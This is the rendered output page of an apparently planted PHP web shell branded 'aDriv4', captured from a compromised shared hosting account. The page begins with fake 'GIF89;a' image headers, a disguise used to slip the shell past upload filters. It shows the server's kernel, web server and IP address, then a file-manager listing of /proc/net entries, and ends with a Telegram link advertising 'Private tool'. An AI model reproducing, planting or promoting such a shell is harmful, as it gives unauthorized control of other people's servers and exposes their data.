GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux host62.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
 Apache
 199.188.200.124
Name Type Size Owner/Group Permission Last Modified Actions
. dir - luminaryadventur/luminaryadventur 0555 2026-01-19 07:36:14
.. dir - luminaryadventur/luminaryadventur 0555 2026-01-19 07:36:14
bonding dir - root/root 0555 2026-01-19 07:36:14
dev_snmp6 dir - root/root 0555 2026-01-19 07:36:14
netfilter dir - root/root 0555 2026-01-19 07:36:14
nfsfs dir - root/root 0555 2026-01-19 07:36:14
rpc dir - root/root 0555 2026-01-19 07:36:14
stat dir - root/root 0555 2026-01-19 07:36:14
vlan dir - root/root 0555 2026-01-19 07:36:14
anycast6 application/x-empty 0 B root/root 0444 2026-01-19 07:36:14
arp text/plain 0 B root/root 0444 2026-01-19 07:36:14
connector text/plain 0 B root/root 0444 2026-01-19 07:36:14
dev text/plain 0 B root/root 0444 2026-01-19 07:36:14
dev_mcast text/plain 0 B root/root 0444 2026-01-19 07:36:14
fib_trie text/plain 0 B root/root 0444 2026-01-19 07:36:14
fib_triestat text/plain 0 B root/root 0444 2026-01-19 07:36:14
hci text/plain 0 B root/root 0444 2026-01-19 07:36:14
icmp text/plain 0 B root/root 0444 2026-01-19 07:36:14
icmp6 text/plain 0 B root/root 0444 2026-01-19 07:36:14
if_inet6 text/plain 0 B root/root 0444 2026-01-19 07:36:14
igmp text/plain 0 B root/root 0444 2026-01-19 07:36:14
igmp6 text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip_mr_cache text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip_mr_vif text/plain 0 B root/root 0444 2026-01-19 07:36:14
ip_tables_matches 0 B root/root 0440 2026-01-19 07:36:14
ip_tables_names 0 B root/root 0440 2026-01-19 07:36:14
ip_tables_targets 0 B root/root 0440 2026-01-19 07:36:14
ipv6_route text/plain 0 B root/root 0444 2026-01-19 07:36:14
l2cap text/plain 0 B root/root 0444 2026-01-19 07:36:14
mcfilter text/plain 0 B root/root 0444 2026-01-19 07:36:14
mcfilter6 text/plain 0 B root/root 0444 2026-01-19 07:36:14
netlink text/plain 0 B root/root 0444 2026-01-19 07:36:14
netstat text/plain 0 B root/root 0444 2026-01-19 07:36:15
nf_conntrack 0 B root/root 0440 2026-01-19 07:36:15
nf_conntrack_expect 0 B root/root 0440 2026-01-19 07:36:15
packet text/plain 0 B root/root 0444 2026-01-19 07:36:15
protocols text/plain 0 B root/root 0444 2026-01-19 07:36:15
psched text/plain 0 B root/root 0444 2026-01-19 07:36:14
ptype text/plain 0 B root/root 0444 2026-01-19 07:36:15
raw text/plain 0 B root/root 0444 2026-01-19 07:36:15
raw6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
route text/plain 0 B root/root 0444 2026-01-19 07:36:15
rt6_stats text/plain 0 B root/root 0444 2026-01-19 07:36:15
rt_acct application/octet-stream 0 B root/root 0444 2026-01-19 07:36:14
rt_cache text/plain 0 B root/root 0444 2026-01-19 07:36:14
sco text/plain 0 B root/root 0444 2026-01-19 07:36:14
snmp text/plain 0 B root/root 0444 2026-01-19 07:36:15
snmp6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
sockstat text/plain 0 B root/root 0444 2026-01-19 07:36:15
sockstat6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
softnet_stat text/plain 0 B root/root 0444 2026-01-19 07:36:14
tcp text/plain 0 B root/root 0444 2026-01-19 07:36:15
tcp6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
tls_stat text/plain 0 B root/root 0444 2026-01-19 07:36:15
udp text/plain 0 B root/root 0444 2026-01-19 07:36:15
udp6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
udplite text/plain 0 B root/root 0444 2026-01-19 07:36:15
udplite6 text/plain 0 B root/root 0444 2026-01-19 07:36:15
unix text/plain 0 B root/root 0444 2026-01-19 07:36:15
xfrm_stat text/plain 0 B root/root 0444 2026-01-19 07:36:15
© aDriv4